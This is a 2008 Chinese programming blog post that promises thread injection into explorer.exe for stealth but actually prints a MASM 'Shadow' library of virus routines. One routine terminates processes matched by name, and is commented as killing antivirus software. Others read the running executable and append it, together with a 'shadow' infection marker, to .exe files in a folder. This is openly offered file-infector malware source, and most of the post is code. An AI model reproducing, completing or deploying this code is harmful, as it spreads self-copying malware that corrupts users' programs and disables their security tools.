正文

附加一个线程在 explorer.exe 上执行代码2008-06-06 21:21:00

【评论】 【打印】 【字体: 】 本文链接:http://blog.pfan.cn/vfdff/35966.html

分享到:

以前写过 线程附加模块 现在找不到了 原理就是 附加一个线程在 explorer.exe 上执行代码(我认为具有极高的隐蔽性 因为程序运行后没有进程被创建只是在explorer.exe 上多了个线程而以)。

感谢 罗聪 兄的帮助 以前写汇编代码时我遇到问题就去找他 呵呵!  不过你也够强的 QQ 都n个太阳了 就没见你上过线丫的超级潜水员.

 ;##########################################################
; Shadow MASM Public Function Library
;##########################################################

;##########################################################
 GetWindowsVer proto
 KillAntiVirus  proto
 vBackupFile proto
 ReadVirusToMem proto :DWORD
 WriteVirusToExe proto :DWORD, :DWORD
;##########################################################


;##########################################################
; 判断 Windows 版本 测试通过
;##########################################################
 GetWindowsVer proc
  LOCAL OSVI:OSVERSIONINFO
  mov OSVI.dwOSVersionInfoSize,SIZEOF(OSVERSIONINFO)
  invoke GetVersionEx,addr OSVI
  xor ebx,ebx
  .IF OSVI.dwPlatformId == VER_PLATFORM_WIN32_NT
   mov ebx,1
  .ELSE
   xor ebx,ebx
  .ENDIF
  invoke MessageBox,NULL,CTEXT("This is system NT"),CTEXT("Test"),MB_OK
  ret
 GetWindowsVer endp


;##########################################################
; 终止杀毒软件 测试通过
;##########################################################
 KillAntiVirus proc
  LOCAL  lppe:PROCESSENTRY32
  LOCAL  hProcessSnap:DWORD
  
  mov lppe.dwSize,SIZEOF PROCESSENTRY32
  invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0 ; 获取进程快照句柄
  mov hProcessSnap,eax 
  
  ;循环获取进程信息判断是否为杀毒软件
  invoke Process32First,hProcessSnap,addr lppe
  .WHILE eax
   invoke lstrcmp,addr lppe.szExeFile,CTEXT("notepad.exe")
   .IF eax==0
    invoke OpenProcess,PROCESS_TERMINATE,FALSE,lppe.th32ProcessID
    invoke TerminateProcess,eax,-1 ;如果是杀毒软件 杀掉它
   .ENDIF
   
   invoke Process32Next,hProcessSnap,addr lppe
  .ENDW

  invoke CloseHandle,hProcessSnap
  ret
 KillAntiVirus endp


;##########################################################
; 备份病毒文件
;##########################################################
 vBackupFile proc
  LOCAL hFindFile:DWORD
  LOCAL byPath[MAX_PATH]:BYTE      ;保存搜索的路径[备份路径]
  LOCAL bySearchPath[MAX_PATH]:BYTE   ;要搜索的路径及文件
  LOCAL byFile[MAX_PATH]:BYTE      ;找到的文件 
  LOCAL lpFileData:WIN32_FIND_DATA
  
  ;获取系统目录
  invoke GetSystemDirectory,addr byPath,SIZEOF byPath
  invoke lstrcat,addr bySearchPath,CTEXT("\*.exe")
  invoke GetCurrentDirectory,sizeof byPath,addr byPath
  
  ;获得用于搜索的路径
  invoke lstrcpy,addr bySearchPath,addr byPath
  invoke lstrcat,addr bySearchPath,CTEXT("\Test\*.exe")
  
  ;备份路径
  invoke lstrcat,addr byPath,CTEXT("\Test\")
  
  ;查找文件
  invoke FindFirstFile,addr bySearchPath,addr lpFileData                           
  .IF eax != INVALID_HANDLE_VALUE
   mov hFindFile,eax
   .WHILE eax
    invoke lstrcpy,addr byFile,addr byPath
    invoke lstrcat,addr byFile,addr lpFileData.cFileName
    invoke ReadVirusToMem,addr byFile
    invoke FindNextFile,hFindFile,addr lpFileData
    
   .ENDW
   invoke FindClose,hFindFile
  .ENDIF
  
  ;invoke MessageBox,NULL,CTEXT("Test Function vBackupFile OK!"),CTEXT("Test"),MB_OK
  ret
 vBackupFile endp

;##########################################################
; 将病毒文件读入内存
;########################################################## 
 ReadVirusToMem Proc dwWriteFileName:DWORD
  LOCAL hMem:DWORD  
  LOCAL byFile[MAX_PATH]:BYTE
  LOCAL hReadFile:DWORD, dwFileSize:DWORD, byOfRead:DWORD
  
  ;获取当前exe文件名并打开文件
  invoke GetModuleFileName,hInstance,addr byFile,SIZEOF byFile
  invoke CreateFile,addr byFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
  .IF eax != INVALID_HANDLE_VALUE
   mov hReadFile,eax
  .ELSE
   ret
  .ENDIF
  
  ;获取当前exe文件大小 分配内存 读取文件
  invoke GetFileSize,hReadFile,NULL
  mov dwFileSize,eax
  test eax,eax
  je ExitFunction
  
  invoke GlobalAlloc,GPTR,dwFileSize
  test eax,eax
  je ExitFunction
  mov hMem,eax
  
  invoke ReadFile,hReadFile,hMem,dwFileSize,addr byOfRead,NULL
  invoke GlobalLock,hMem  

  invoke WriteVirusToExe,dwWriteFileName,hMem

  
  ;invoke MessageBox,NULL,CTEXT("Test Function ReadVirusToMem OK!"),CTEXT("Test"),MB_OK
  ExitFunction:
  invoke GlobalUnlock,hMem
  invoke GlobalFree,hMem
  invoke CloseHandle,hReadFile
  ret
 ReadVirusToMem endp
 
;##########################################################
; 将内存病毒写入文件并将已感染标志写入
;########################################################## 
 WriteVirusToExe proc dwOpenFileName:DWORD,dwWriteBuffer:DWORD
  LOCAL FileFlag[8]:BYTE
  LOCAL hFile:DWORD
  LOCAL byOfRead:DWORD
  LOCAL dwWriteSize:DWORD
  LOCAL byOfWrite:DWORD
  
  invoke RtlZeroMemory,addr FileFlag,sizeof FileFlag
  ;打开文件
  invoke CreateFile,dwOpenFileName,GENERIC_READ or GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
  .IF eax != INVALID_HANDLE_VALUE
   mov hFile,eax
  .ELSE
   ret
  .ENDIF
  
  ;设置文件读取位置 读取文件6个字节 判断文件是否感染
  invoke SetFilePointer,hFile,-6,NULL,FILE_END
  inc eax
  je ExitFunction
  dec eax
   
  invoke ReadFile,hFile,addr FileFlag,6,byOfRead,NULL
  invoke lstrcmp,addr FileFlag,CTEXT("shadow")
  test eax,eax
  je ExitFunction
  
  invoke SetFilePointer,hFile,0,NULL,FILE_END
  invoke GlobalSize,dwWriteBuffer
  mov dwWriteSize,eax
  invoke WriteFile,hFile,dwWriteBuffer,dwWriteSize,addr byOfWrite,NULL
  
  invoke SetFilePointer,hFile,0,NULL,FILE_END
  invoke WriteFile,hFile,CTEXT("shadow"),6,addr byOfWrite,NULL
  
  ExitFunction:
  invoke CloseHandle,hFile
  ret
 WriteVirusToExe endp

阅读(3554) | 评论(0)


版权声明:编程爱好者网站为此博客服务提供商,如本文牵涉到版权问题,编程爱好者网站不承担相关责任,如有版权问题请直接与本文作者联系解决。谢谢!

评论

暂无评论
您需要登录后才能评论,请 登录 或者 注册